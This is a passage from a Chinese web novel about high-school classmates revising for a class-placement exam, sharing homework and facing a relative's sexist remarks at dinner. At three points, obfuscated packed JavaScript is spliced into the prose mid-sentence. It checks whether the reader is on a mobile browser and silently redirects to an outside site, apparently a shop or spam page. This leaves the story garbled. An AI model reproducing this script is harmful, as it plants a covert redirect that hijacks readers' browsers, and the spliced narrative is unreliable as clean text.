她一直都知道,段言只是表面上看起来高冷,不怎么好接近的样子,也不像是会开玩笑的人,但其实他偶尔冷不丁冒出几句话,还挺幽默的。 【俞秉文】:哈哈哈哈!我他妈要被你笑死!朋友们,大家听见了吗?咱们要保护好段□□誉。 【周立阳】:就是就是!男孩子的名誉也是很宝贵的哟! 有了这两个活宝,班群里一下子又活跃起来了,不少潜水的同学都冒出来水群。 陈丹丹被戳中笑点,坐在电脑跟前好一会儿才止住笑意,握住鼠标往上翻班群的聊天记录。 几分钟后,她大概明白段言为什么会突然发出这两句话了。 某个中档小区里,祝思倩抱着手机躺在床上玩儿,看到班群里起哄段言和辛彤彤的消息时,她狠狠皱眉,握拳使劲捶床,恨不得顺着网线爬到那几个起哄的同学家里,逼着他们撤回那几条消息。 希望丹丹没看到这些消息吧,祝思倩抱着手机,大骂一声“渣男!” “祝思倩你跟谁说话呢!” 祝思倩:“……”糟糕,骂的声音太大,以至于被隔着一道门的老妈听见了。 片刻后,群里多出两条消息。 是段言澄清的话。 祝思倩跟风在群里发了个点赞的表情包,随即大笑出声:“哈哈哈哈哈!” 段言和丹丹绝对互相喜欢!不不不,严谨一点来说,这两人起码互相有好感!不然的话,俞秉文在线下调侃他和陈丹丹的时候,段言怎么不正儿八经的来一句“不要拿我开玩笑,男生的名誉也是很宝贵的”? 祝思倩在心里暗爽,青梅竹马果然就是最吊的! …… 艺术节过后,航哥先是在班里大肆表扬了一番同学们的艺术细胞和参加班级活动的积极性,随即话锋一转,开始给同学们紧紧皮。 “马上就是分班考试了,咱们火箭班的同学可不能被其他火箭班和平行班的学生给超越了啊!到时候说出去,其他班的同学们可都是要看我们笑话的,你们想变成他们嘴里的笑话吗?” 底下齐声声的一片:“不!想!” 航哥温雅地笑了笑,“我相信同学们不会让我失望的。” 在高二(16)班的同学眼里,这笑容无异于—— 俞秉文小声嘟囔:“笑里藏刀。” 坐在他斜后方的周立阳:“绵里藏针。” 俞秉文把物理课本立起来,脸朝后转了转,两人一对视,发出“嘿嘿”的笑声。 祝思倩也听见了,用课本挡住下半张脸,往陈丹丹的方向靠了靠:“他俩形容的还挺精准。” 陈丹丹赶紧以手掩唇,生怕自己一个没忍住笑出声,就连段言也勾了勾唇。 不止他们几个人听到了,就连站在讲台上的班主任也注意到了他们的小动作。航哥神色一肃:“底下的讲什么呢!叽叽喳喳的一天,讲不完的废话!这都要分班考试了,还没点紧迫感?!再交头接耳的说个没完,我就让你们上来说,给全班同学说说你们在聊什么!” 被他盯着,俞秉文后背一凉,缩了缩脖子,老老实实地端坐。 其他同学也老实了,有的原本歪歪扭扭靠在椅背上,这下立马直挺挺地坐起来,眼睛一眨不眨地望着讲台上的航哥。 今天是周五,各科老师跟疯了一样的布置作业,顺带着还要在课堂上提醒一番。晚自习的时候,陈丹丹一边抄写白板上的作业清单,一边回忆老师们今天的魔鬼式讲话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534307|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>语文老师:“科代表周一把练习册给我收上来,学校发的默写册子也给我收上来,我到时候要检查。” 英语老师:“练习册,同步做。” 理化生老师:“……” 数学老师,也就是他们的班主任航哥更狠:“周一早上把化学活页作业和习题册都收上来,另外周一下午我要检查所有科目的《五三》和学校发的习题册。” 明明只是放了个周末,却硬生生像是放了个小长假,布置了超级多的作业。 瞄了瞄四周,发现航哥不在教室里,也没有在窗户外面偷偷观察,祝思倩凑近陈丹丹,唉声叹气道:“每一科作业单独看不是很多,还可以接受,但是加在一起,这是要逼疯我们的节奏啊!” 陈丹丹认同地点头:“主要是每门课至少两本册子,学校统一发的,老师推荐的,外加自己买的,而且还有不定期的卷子和活页作业之类的。” 祝思倩点头如捣蒜:“就是就是!而且最关键的是,老师讲起课来进度飞快好嘛!一周讲几十页课本内容,对应到习题册,那高低不得有个几十页啊?” 俞秉文耳朵尖,听见了两位前桌的对话,身子往前一靠,和陈丹丹她们打着商量:“要不咱们一人写一科的作业,到时候互相换着抄?” 这都快分班考试了,不琢磨怎么加大做题的量,快速在短时间内提高成绩,反而还想着怎么躲懒? 陈丹丹扶额,她和倩倩虽然张口抱怨了,可两人还是打算认认真真把习题册做完的。 不过也不难理解,俞秉文的语文成绩和英语成绩在火箭班垫底,但是他的理综成绩相当优异,稳定地排在班上前十。或许节约刷理综册子的时间,把更多的精力用在语文和英语上,对他来说是一个正确的选择。 俞秉文见陈丹丹没说话,还以为她是担心三个人没办法分配作业,眼珠子一转,没等陈丹丹反应,他就猛地一拍段言的肩膀。 “你们放心,段神写理综题,我写数学题,你们俩就分别写语文和英语,礼拜天的下午咱们就约个地方互相一抄。”他甚至把地方都想好了,市图书馆、咖啡馆都可以,或者他家也行。 陈丹丹:“哈?” 这就把他们每个人安排的明明白白了? 祝思倩:“诶?” 抄作业四人组就这么成立了吗?:) 被“袭击”时,段言正翻着本厚厚的《三国志》看的入神,整个人沉浸在书里,完全忽略了周遭的环境。 被猛地一拍,他从“灵帝崩,太后兄大将军何进与绍谋诛诸阉官,太后不从”中回过神来,没好气地看向俞秉文这个罪魁祸首:“有事就放。” 俞秉文在关键时刻是有点小动物的直觉和机智敏捷的,面对要笑不笑的段言,他脑子拐了个弯儿,临时换了一套说辞,“陈丹丹邀请你礼拜天下午一起写作业。” 陈丹丹:“!!” 她可没说过这话啊啊啊! 不带这么坑人的!! 她瞪大眼睛,没想到俞秉文会来这么一出,宛若突然从背后袭来的暗箭,让人防不胜防。 更要命的是,段言竟然真的相信了俞秉文说的话,而且想都没想就同意了,“行。” 啊这…… 现在再去解释她没有邀请段言这种话,是不是不太好?陈丹丹选择安静地捂住脸,转回座位。 祝思倩这个局外人颇有几分旁观者清的意味,她的目光在陈丹丹和段言之间来来回回,遮住嘴偷偷笑了。 中途她还和俞秉文对视上了,对方比口型:你这是什么表情? 祝思倩笑得狡黠:“看穿一切的表情。” 她给瓶装的饮料插上吸管,喝了一口。 啊,她追的现实版偶像剧之《惊!转来的校草竟是我竹马》真的好甜好甜! 今天这一集叫什么来着? 哦,路人无意助攻,男主因利乘便,顺水推舟。 24. 二十四颗青梅 周六整整一天,陈丹丹把自己锁在房门刷题,写累了就站起来转转脖子扭扭腰。书桌正对着窗户,偶尔她也会对着窗外的树木和高楼发呆。 下午五点,林爱萍没有敲门,直接拧开陈丹丹卧室的门,“丹丹,你程阿姨今晚请我们吃饭,你收拾收拾,再过十分钟出发。” 陈丹丹不想去,和长辈出去吃饭总少不了听他们谈天说地、喝酒吹牛、大谈时事,与其浪费时间参加这种无聊的饭局,还不如在卧室里多刷几套题,她问:“哪个程阿姨?” “你程宝月阿姨,前几年她还来我们家吃过饭的,你记不记得?哦对了,她儿子沈作闻和你一样,都在华兴中学高二的火箭班,说不定你们在学校还认识。”林爱萍坐在床边笑道。 陈丹丹:“不认识。”在人才济济、学霸遍地走的华兴中学里,她从来没有听说过一个叫沈作闻的人。 林爱萍不管她认不认识,再三叮咛道:“你待会儿有礼貌点,主动叫人啊。” 陈丹丹试图反抗:还找了充分的理由,“可以不去吗?马上就要分班考试了,我得好好复习。” 林爱萍语气坚决:“不行,你程阿姨专门让我带上你。再说了,你叔叔今晚有应酬,你再一不去,多不给人家面子啊。” 于是大好的刷题之夜,变成了陪家长参加的假笑饭局。林爱萍坐在中间,左边是小女儿,右边是陈丹丹。 程阿姨和她的儿子坐在对面,这位许久不见、在陈丹丹的脑海里没有留下过任何印象的程阿姨神态从容,两臂自然弯曲放在腿上,看起来优雅极了,一点也不像是生出了十六七岁儿子的女人。 她笑容亲切地和林爱萍一家打招呼,随即感叹道:“我都好几年没有回来了,要不是我们家作闻需要在这边高考,说不定我还要好多年才会回来住。” 林爱萍欲开口,两个服务员端着餐盘进来了。程宝月下巴微抬,点了点刚上的菜,招呼三位客人,“这家的特色凉粉还不错,你们多吃点。” 说着,她拿起筷子道:“还有这道炸米粉肉,是他们家的招牌菜,你们可得好好尝尝。” 陈丹丹一抬头,正好对上程阿姨的目光,她礼貌地点点头,见程阿姨动筷了,她才动筷夹了炸米粉肉,外皮炸得酥酥脆脆的,内里的肉吃着很过瘾。 接下来又陆陆续续上了几道热菜,油焖大虾、葫芦鸡、干烧黄辣丁、干煸菜花等等摆了一大桌。 陈丹丹自从上了高中之后,饿的特别快,饭量也大增,每次吃饭活像是能吃下一头牛。刷了一中午的题,正是饿的时候,她埋头吃饭吃菜,安静地当一个看起来乖乖巧巧的饭桶,也没顾上程阿姨和她妈聊了些什么。 直到程阿姨笑容满面地看了眼陈丹丹,对林爱萍笑道:“你们家丹丹可真是优秀啊,现在还在火箭班是吧?” 林爱萍点头,笑着回夸程宝月家的儿子:“你们家作闻不也在火箭班吗?有这么优秀又孝顺的儿子,你就知足吧!而且你们家作闻性格也好,哪像我们丹丹,只会死读书,一点都不活泼开朗。” 程宝月拿起餐巾纸轻轻擦拭嘴唇,“这皮小子以前就是坐不住,好在现在纠正过来了。都说男孩子成熟得晚,到了高中才发力,我现在可算是相信这句话了。” 林爱萍笑着应和:“就是的,我也听说了。” 不料程宝月话音一转:“听作闻说,马上就要分班考试了,你们家丹丹准备得怎么样了?” 陈丹丹一愣,还在半空中的筷子缓缓收回放在碗上,林爱萍在桌布底下拍她的腿,“没听见你阿姨问你话呢吗?” “就按照进度正常复习,也没有太多额外的准备。”陈丹丹说道。 程宝月蹙眉:“没报补习班,也没有请一对一的家教吗?” 陈丹丹摇头:“没有。” 程宝月张大嘴巴,音调不自觉地抬高,她对林爱萍道:“你竟然没给丹丹报辅导班?!孩子的教育么,就像是投资,没有投入,又哪来的回报呢?你看‘舍得’这个词,有舍才有得不是?” 林爱萍尴尬地道了声“是”,略带窘迫地道:“我们家两个孩子,压力有点大,丹丹她妹妹又小,需要接送照顾,也没那么多时间操心她学业的事情,把她的饭管好就不错了。” 程宝月无声地摇头,什么都没说,却又像是什么都说了。过了一会儿,她还是道:“你可得帮丹丹把学业抓紧了,高二是关键时期,一旦她考不进高三的火箭班,以后都要落后其他同学一大截。” 林爱萍嗯了一声,程宝月继续道:“毕竟女娃娃家,不像男娃,好像天生就有学理科的天赋一样,一到高二下半学期之后,成熟了懂事了,成绩那叫一个突飞猛进,很多女生都是越往后学习越退步,你们家丹丹没有补习老师可不行啊!” 来了来了,陈丹丹从小听到大的话又来了。 她最讨厌的话之一,就是“女生小时候学习好是因为男生小时候不爱学习,一旦男生高中开窍,女生肯定要退步”“男生学理科的天赋就是比女生强”之类的话。她高二学之所以选了理科,也有想要证明女生不比男生差、女生同样可以学好理科的因素在。 可她没有办法直接反驳长辈,会显得没有礼貌,而且单薄的话语也根本不可能改变对方几十年来形成的刻板印象。 犹豫再三,陈丹丹不知道哪来的勇气,小声说道:“谁说我没有补习老师?我有超级好的补习老师!” 程宝月今晚第一次露出好奇的表情:“哦?哪位老师这么认真负责,我让他给咱们家作闻补一补,当然了,费用不是问题。” 沈作闻的目光也聚焦到陈丹丹脸上。 抱歉了段言,借你名头一用,大不了下次给你买小奶糕。 陈丹丹攥紧桌布,佯装镇定道:“我的补习老师是全年级第一名,他讲理综讲得可好了。” 顿了顿,她看着阿姨的眼睛,说道:“而且他从来不给外班的同学补课。” 气氛陡然一凝。 最先接过话的是沈作闻,他端起杯子喝了一口芒果汁,问陈丹丹:“你说的是段言吗?” 最近各科老师已经轮流夸过他了,对于这位众多女同学口中的“帅哥”,老师口中“别的班有的同学”,沈作闻也免不了好奇。 陈丹丹:“是他。” 沈作闻:“哦。” 他没再说话,程宝月也安静下来,林爱萍不知道在想什么,也没做声。 “妈妈,我要吃虾虾。”小女儿稚嫩的童声唤回了林爱萍的思绪,她的脸上重新挂上笑容,低下头道,“好,妈妈这就夹给宝宝。” 陈丹丹她们是坐公交来的,走出饭店后,程宝月主动说道:“我送你们回去吧,我今天开了车。” 林爱萍一手牵着小女儿,婉拒道:“这怎么好意思?” 程宝月挽了挽耳边的碎发,笑得很热情,“这有什么不好意思的,我们都多少年的交情了!再说了,今天我回我妈家,刚好顺路把你们送回去。” 于是陈丹丹跟着林爱萍坐上了全新的宝马。 回程的路上,沈作闻坐在副驾驶的位置,问他妈妈:“明明我们今天不回外婆家,为什么……” 红灯亮了,程宝月踩下刹车,扭过头看着儿子:“为什么我要装作顺路送她们回家是吗?” 沈作闻迟疑地点点头。 程宝月又是一笑,吃完饭后补过妆的口红颜色极其亮眼,“以后你就知道了。现在呢,你的任务就是好好学习,下课了可以去找丹丹玩儿,顺便也和段言这种优秀的学生交个朋友。” “我知道了,妈。” 一回家,陈丹丹就三两步跑回房间,她不想和母亲解释“段言给她补课”这件事情,也不想再听母亲说什么“你可得给妈妈争口气,考进高三火箭班”这种话。关于她和程阿姨之间微妙的塑料姐妹关系,两个人际遇的对比与反转,陈丹丹在上楼梯的时候已经听她絮絮叨叨地说过了。 陈丹丹拧开卧室门,摸黑走到桌前打开小台灯,书桌上摆的是她摊开的习题册,临走前她还有一道物理题没有写完。 她从笔袋里拿出一支黑色中性笔,继续在《王后雄》上刷一道又一道题目。 这一晚,她房间的小台灯亮到了凌晨。 …… 周日下午两点,陈丹丹提前半小时到达市图书馆的自习室。因为心虚,她还特意买了杯段言喜欢的酸梅汤带给他。 “怎么到这么早?”正在绞尽脑汁做物理题的陈丹丹发现眼前多了一杯奶茶。 段言放下奶茶后在她对面的空位坐下,把背包往椅子上一挂,拉开拉链,从看起来空荡荡的背包里掏出几套卷子放在桌上。 陈丹丹放下笔,撕开吸管插进奶茶杯里,捧起那杯奶茶喝了一大口,是她喜欢的香芋味,加了珍珠和椰果。 “如果是冰的就更好了。”她小声嘀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“简单来说,就是‘无事献殷勤,非奸即盗’,这句话用在你身上,尤为贴切。”他总结。 陈丹丹无话可说。 “说吧,你干什么了?”段言把喝了三分之一的酸梅汤放在桌上。 陈丹丹顿时觉得她就像那杯被搁在桌上的酸梅汤一样,浑身散发着心虚的凉气,滋味难辨。她拖着椅子往前几分,露出因为心虚所以格外灿烂的笑脸,拉长语调:“其实也没什么,就是,就是——” 她对上段言专注的视线时,两眼一闭,快速讲完:“就是因为某些原因,我对别人说你是我的补习老师,讲数学和理综讲得可好了!” “哦,还有呢?”段言语气平静。 咦,他怎么这么平静? 不过……平静总比生气好吧? 陈丹丹一口气说完,“还有我说你不会给外班的同学讲题补课。” “嗯,我懂了。”段言颔首。 “嗯?!” 你懂什么了? 陈丹丹骤然抬头,眼睛睁得溜圆。 “你是觉得我平时给你讲物理题还不够,还想让我给你讲数学、化学和生物。”段言往椅背后面一靠,悠悠然道,“下次直说就好,不必拐弯抹角。” “不,我没有——”陈丹丹慌忙摆手,两只手在空气中都快要摆出一朵花了。 “不用不好意思,”段言再起端起酸梅汤喝了口,“反正你今天已经付过补课费了。” “补课费?”陈丹丹的思路不知不觉被他带偏。 “啊,这杯酸梅汤。”段言摇了摇手里的杯子,开玩笑,“看在我俩从小认识的份上,给你打一折。” 陈丹丹下意识问:“那以后的补课费呢?” 她垂下眼睫,她妈妈是不可能给她承担额外的补课费用的,估计到时候只能用她这些年攒下来的钱,如果还不够,就只能找她爸要或者找舅舅借了。 段言似乎早就想好了怎么回答,“你给我补语文,作为交换,补课费就免了。” 陈丹丹这次反应很快,“那怎么能行?语文只有一门,数理化生有四门,一点都不公平。再说了,你语文成绩也不差啊。”也就比她这个语文年级第一低个八九分而已,算是还不错的成绩了。 段言沉吟:“那等你工作赚钱了请我吃几顿大餐。” “别说几顿了,几十顿都没问题。”陈丹丹愉快地伸出两只手,“成交!” 段言笑着和她击掌,“成交。” 25. 二十五颗青梅 “什么成交?”准时到达自习室的俞秉文刚走进自习室,就听见段言和陈丹丹在说什么“成交”。 别是两人已经达成了什么互相抄作业的协议,想把他给单独撇开吧? 段言一眼看穿他的想法,无语道:“……不是你想的那样。” “那就好那就好。”俞秉文拍拍胸口,动作夸张到不行,他见段言捧着杯酸梅汤在喝,陈丹丹也捧着杯奶茶喝,胳膊肘撞撞他,“我说段神,你可真不够意思,怎么不顺便给我也带杯喝的?” “酸梅汤不是我买的。”段言道。 俞秉文没有注意到话里的漏洞,转移视线问陈丹丹,“丹丹,你怎么只给段神买,不给我买?要不要这么区别对待啊。” 学校里的女生都喜欢段神也就算了,他自认为他和陈丹丹当了这么久的前后桌,已经算是朋友了,怎么她也跟其他女生似的,在这里搞区别对待? 面对俞秉文的时候,陈丹丹的淡定又回来了,她眨眨眼:“因为这是我交的补课费。” “补课费?什么补课费?”不止俞秉文疑惑,迟到了两分钟,恰好听到关键词的祝思倩也很疑惑。 陈丹丹:“段言今天给我补数理化生的补课费。” “哇哦,既然一杯酸梅汤就能换取学神一个下午的补课,那我——”没等俞秉文说完,段言一记眼神飞过去,截断他的话,“你就不用想了,教一个已经够让我头疼的了。” 陈丹丹狠狠吸了一大口香芋奶茶:“……”什么意思嘛,这是在暗嘲我很笨很难教会吗? 刚到的祝思倩见状,露出了洞悉一切的笑容。 几分钟后,段言放在桌上的手机开始震动,他接了电话,指使俞秉文下楼取两杯奶茶。 俞秉文拎回奶茶后,一脸感动:“好哥们,我就知道你不会忘记我们的,你居然给我点了我最喜欢的白桃乌龙。” 段言摸摸鼻子,心想俞秉文可能是错付了。 他来的时候只带了一杯奶茶,还是看到俞秉文之后才想起来,还有两个人没喝的。 俞秉文没有注意到段言的小动作,他将另一杯奶茶递给祝思倩,祝思倩也很感动:“丹丹,你还特意告诉段神我喜欢抹茶奶盖啊。” 陈丹丹无意识和段言对视一眼,心虚地低头喝奶茶。 她今天来是“赔罪”的,只顾着给段言带他喜欢的酸梅汤,都忘记给倩倩买了,至于段言点了倩倩喜欢的奶茶……估计是倩倩和俞秉文在课间讨论奶茶口味的时候被段言听到了,这人又有比较变态的记忆力。 就让这个美好的小误会继续下去好了。 自习的前半程,段言还能心无旁骛地做卷子,两个小时后,陈丹丹和俞秉文攒了一堆问题轮流请教他。他嘴上说着教一个就够了,但俞秉文请教问题的时候,段言还是会给他讲,不过没多少耐心,基本上只给他讲了大概的思路和关键步骤,剩下的完全靠他自己悟。绕是如此,俞秉文也很满足了。 祝思倩见状,笔头在桌上敲了两下,问俞秉文:“你不是过来抄作业的吗?怎么改成补课了?” “不是吧不是吧?你还真以为我一道题都不写,过来抄作业呢?我有那么差劲吗?”俞秉文做完一道化学方程式配平,理所当然地道,“我呢,是习惯把两者结合一下,打眼一看会做的题就抄段神的,看着不太会的题就自己做,做不出来再问。” 祝思倩还是第一次听说这种做题方式,闻言眼睛一亮:“没想到你还挺聪明的嘛!以前小看你了。” “那是!”俞秉文罕见地得到来自损友的肯定,抖着腿嘚瑟的不行了,他神色骄傲地翻到下一页习题册,眉飞色舞地道,“也不看看我是谁!” “咳咳,”祝思倩嘿嘿笑了,模仿数学老师咳了两声,“我看有的同学最近狂得很,狂得都忘了自己姓什么了!” 订正完一道物理题的陈丹丹:“噗嗤——” 段言歪着身子笑了笑,正在手中旋转的中性笔“咻”的一声飞到了地上。 自习室的工作人员远远看着这四个年少的学生,在心里感叹:这就是青春吧。 她没有打扰这群自习的人,反倒是祝思倩这个社交狂魔,临走前看见工作人员,猛地灵光一现,跑上前去问人家怎么才能当图书管理员,还很嘴甜地叫人家“漂亮姐姐”。 被俞秉文好一通嘲笑:“要不要这么没志气?年纪轻轻的就想着养老。” 祝思倩瞪他:“你懂个鬼啊!” 几人一边小声打闹一边走出图书馆,陈丹丹笑吟吟地看祝思倩一拳打在俞秉文胳膊,突然,头顶传来清冷的声音。 “陈丹丹,你以后想做什么?” 陈丹丹愣了愣,才道:“我还没想好。”她只有一个考上好大学、逃离这个家的目标,至于未来要选择什么样的专业,从事什么样的职业,她还一点想法都没有。 “没想好也没关系,”段言低头和她对视,“做好眼前的事情,用功学习总是不会错的。” “嗯!” …… 分班考试很关键,陈丹丹也没过多占用段言的时间,顶多在课间向段言请教不会做的题目。有了段老师的答疑解惑,陈丹丹同学的复习进度嗖嗖加速,在学习新内容的同时,快速将高一高二学过的内容按模块进行了复习。 时间就这样来到分班考试前一天。 晚自习前,祝思倩神神秘秘地附在陈丹丹耳边:“我突然想起一件非常非常非常重要的事情——我们要不要去拜一拜我们学校的孔子铜像?听说可灵了呢!” 陈丹丹莞尔一笑,拍拍她的肩膀:“亲爱的倩倩同学,如果拜铜像有用的话,我们学校就不会出现考试不及格的学生了。” 所以请忘掉这个不切实际的想法OK? “那是因为他们在拜完铜像之后,没有拜一拜铜像旁边的桂花树和银杏树!”祝思倩言之凿凿,“我远房表哥以前是我们学校的,这可是他私下里告诉我的秘密武器。” “靠谱吗?”陈丹丹怀疑地问。 “有些玄学没办法用科学来解释,但你真的不得不相信——比如我们学校开运动会必下雨,比如我堂姐每次进实验室,都会趁着没人的时候偷偷给仪器磕三个头,”祝思倩神秘兮兮地笑了,“你懂的~” 陈丹丹犹豫两秒,“你那位远房表哥现在在哪里上学?” 祝思倩骄傲地抬抬下巴:“清华。” 陈丹丹目露震惊,一把拉起祝思倩:“那还等什么,我们赶紧去呀!” 两人起身后,不忘问问两位后桌同学:“要不要一起迎接考试福运?” 段言眼睛里闪过一丝好笑,正巧这会儿没事干,也不想看书,于是点头答应。 任何热闹的事情都少不了俞秉文,他点头如小鸡啄米,“要要要!去哪里迎接考试福运?” 祝思倩的回答是:“跟着我走就对了。” 夏天天黑的晚,这会儿室外还是亮堂的。祝思倩和陈丹丹手挽手走在前面,段言和俞秉文紧跟其后。除了段言还是一脸淡定以外,其他人的表情都是肉眼可见的兴奋。 祝思倩带着大家走啊走,跨过一道院门,走到了高大的铜像跟前,“就是这里了,我们一起拜拜孔圣人。” 俞秉文:“……这靠谱吗?” 他怎么感觉这傻乎乎的行为,有点像是一些同学专门在考试前去买带有“孔子祈福”字样的各种文具? 靠谱就怪了。 祝思倩“哼”了一声,“不许对圣人不敬,这个可灵了!” 她又把方才对陈丹丹说过的话说了一遍:“这是我远方表哥告诉我的!他以前在我们学校读书,现在么,他可是在——” “在哪?”俞秉文果然没沉住气。 祝思倩笑出一对小酒窝:“清华。” 清华是无数高三生的梦中情校,一听到这里,俞秉文赶紧对着铜像拜了又拜,嘴里念叨着:“求你不要计较我方才的不敬,求您保佑我进火箭一班,求您保佑我进火箭一班……” 陈丹丹和祝思倩也跟着拜了几拜,唯独段言站在他们旁边,一动不动。 陈丹丹见他一手插在兜里,笔直地站着,扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她闭上眼睛拜古树的时候,没有看见,一直笔直站着的少年似乎想到了什么,对着铜像和古树各拜了三下。 他并不需要这些福运和保佑,可是有人需要。既然她需要,那就帮她实现好了。 请保佑陈丹丹实现她的目标,顺利考进火箭一班。 几人拜完古树之后,俞秉文跟个好奇宝宝似的绕着古树转了几圈,问道:“我们要不要给这两棵树浇浇水什么的?”这样更能体现他们的诚意。 陈丹丹觉得不妥:“学校应该专门安排了人照料这些古树,我们贸然给它浇水是不是不太好?” 祝思倩也做了一个打住的手势,“可别,我那位远方表哥可是说了,当年拜古树的同学实在太多,大家争先恐后地给古树浇水,差点没把树给浇死,学校发现后还特意贴了公示,不允许任何师生私自给古树浇水。” “好吧好吧。”俞秉文有点遗憾。 “别遗憾了,”段言看了看腕表,“还有五分钟打铃,再不回教室,航哥得扒了我们的皮。” “那还等什么,赶紧跑啊!”陈丹丹拉住祝思倩,飞快地奔往教学楼。如果他们不幸迟到,她简直无法想象航哥的表情有多么可怕。 两个少年跟着跑起来,俞秉文一边跑还要一边说话,“我们跑就行了,段神你跑什么?” 四人中陈丹丹的体力最差,她奋力往前跑,气都要喘不上来,更别提说话了。祝思倩稍微好一些,她喘着气说:“就是啊段神,你可是航哥的心肝小宝贝,他根本舍不得说你的,你可以慢慢走回教室。” 段言和他们一起跑,气息平稳:“大概是因为羊群效应?” 好不容易冲到高二教学楼,俞秉文跑上台阶,立马回头望向段言:“什么羊群效应?你说我们是羊?” 祝思倩气喘吁吁地争取:“那我要当超级无敌可爱的懒羊羊!” 陈丹丹使劲爬着楼梯,差点没笑岔气。 所谓“羊群效应”,说白了,就是一种普遍存在的心理现象——从众心理。以段言的性格,他会盲目从众?那必然是不会的。所以段言这么说,是不是觉得和他们在一块儿很有趣,所以不知不觉间被影响同化了? 不得不说,和朋友们待在一起,即使只有短短的时间,也足以让她感受到快乐。 26. 二十六颗青梅 第二天,分班考试正式开始。 开考的前几分钟,同学们还聚在走廊里抱佛脚。 陈丹丹把书包放在教室外的课桌上,掏出物理错题本安静地看着。 这次的本班考试不同于以往按照成绩排列考场,而是随机安排考场。祝思倩恰好和陈丹丹在同一个考场,站在她旁边捧着硬壳的生物笔记本默背。 俞秉文和班上的其他男生聚在一起,手里还拿着本《高中必背古诗文》,站在墙边背着,“《赤壁赋》,苏轼。壬戌之秋,七月既望,苏子与客泛舟游于赤壁之下。清风徐来,水波不兴……水波不兴,水波不兴的下一句是什么来着?” 俞秉文正要低头翻开那本《高中必背古诗文》小册子,一道悦耳的男声接道:“举酒属客,诵明月之诗,歌窈窕之章。” “哦,对对对!”俞秉文一拍脑袋,见到来人,很高兴地打招呼,“段神你怎么过来了?你不是在别的考场吗?” 他拉长音“哦”了一声,“你是不是特地来鼓励我的?这感天动地的兄弟情啊!” 可把他给感动坏了。 段言什么也没说,不带情绪地笑了笑,一副“你在说什么屁话”的嘲讽模样。 俞秉文努努嘴,假装抹了把眼泪:“得,我终究高估了我们俩的兄弟情义……唉,是我自作多情了……” 段言没眼看他拙劣的演技:“你少来。” 俞秉文嘻嘻哈哈地笑着,想到刚才段言流利地背诵古诗文,问道:“你怎么记古诗词记得这么清楚?”他平时也没见段言背过课文。 “我和陈丹丹互相抽背过。”段言眉眼含笑。 俞秉文差点没跳起来,他展开三连问:“什么时候?我怎么不知道?你们怎么没叫上我?” 段言:“早读和课间,你在干别的事情。” 俞秉文:“……” 不愧是你,用短短十来个字回答了我三个问题。 考试时间快到了,老师们催促走廊上的同学快点进入考场,陈丹丹把物理错题本放回书包隔层,拉上拉链,平复紧张的心情。 转身前,她惊讶地看见本该出现在另一层楼的段言出现在她面前,笑容阳光,带着鼓励。 “陈丹丹,考试加油!”他说。 陈丹丹也不由自主地回了他一个大大的笑容,“你也是。” 她没有注意到,本该站在她旁边看笔记的祝思倩促狭地笑过后,合上笔记进了考场,专门留给他们说话的空间。 ——因为她现在想到了一个绝妙的好主意,她眨眨眼,期待地望着段言:“你带了几支笔?” “三支笔,外加两只笔芯。”段言不用回忆都知道,这是他考试的习惯,会准备三支常用的、有手感的黑笔,还会提前备好新的笔芯,“你没带备用的笔吗?我借你一支。” 陈丹丹摇摇头,马尾辫随着她脑袋的晃动跟着在空气中晃了晃,“不是不是,就是想借你一支笔,沾沾学神的好运。” 段言无奈地笑笑,拎过肩上背着的书包,翻出一支黑笔递给她,“快点进去考试了,孔子铜像和古树都会保佑你的。” “谢啦!”陈丹丹开心到原地蹦起来,“你也快点去考场吧。” 等她的身影彻底消失在走廊,段言才转回身往另一层楼跑去。 这场考试,他们都会全力以赴。 …… 一整天考下来,陈丹丹只觉心力交瘁,什么事情都不想干,什么话都不想说。 她走出考场,默默回到家,放下装了不少笔记本和错题集的书包,身子往后一仰,躺倒在她的小床上。 片刻后,她终于有力气爬起来,从抽屉里取出她带锁的日记本,记录了今天发生的所有事情。 段言的鼓励、语文考试的顺利。 以及,理综考试时的忐忑。 老实说,陈丹丹心里没底。她很想很想和段言继续当同班同学,当前后桌,她很想很想考进高三的火箭班,考上她梦寐以求的大学。 这次分班考试她擅长的语文和英语难度一般,还不错的数学难度中上,而她最最不擅长的理综这次难到爆炸。走出考场的时候,她还听见班上的同学吐槽:“这次理综难炸天了,是想把我们都一锅端了吗?” 当晚,陈丹丹没有心思再做题、看书,她早早地洗漱,在床上像个鸡蛋灌饼似的翻来覆去,直至深夜,这座城市完全寂静。 第二天是周末,学校特意选在周五进行分班考试,就是为了给阅卷老师留下周末的时间改出试卷。尽管不用再早起,陈丹丹的生物钟还是早早地将她叫醒。 经过了一个晚上的煎熬,陈丹丹决定放松心情,等待周一的到来。 反正无论如何,考试已经结束了,再懊恼再焦虑都无法改变现有的结果不是吗?倒不如放松心情,享受这个难得没有作业的周末。 陈丹丹踩着轻快的步子,凉鞋踏在楼梯上,发出嗒嗒的脚步声,口中还哼着小时候听过的歌曲,“未来还有一面能不能看见,和希望见面,我不再蒙着眼,明天的笑脸,幸福的起点,有彩虹花朵铺满在一整片蓝天……” 走近街头那家卖小笼包的早餐店,她居然看见段言从早餐店里走出来,手上还提着一袋子小笼包和一杯豆浆。 “早啊。” 心有灵犀一般,段言同时看见了她,笑着冲她招手。清晨的阳光下,他的笑容像是带着青草芳香的露珠,干净极了。 “早。”陈丹丹笑着走过去,“你今天怎么会来这边吃早餐?” 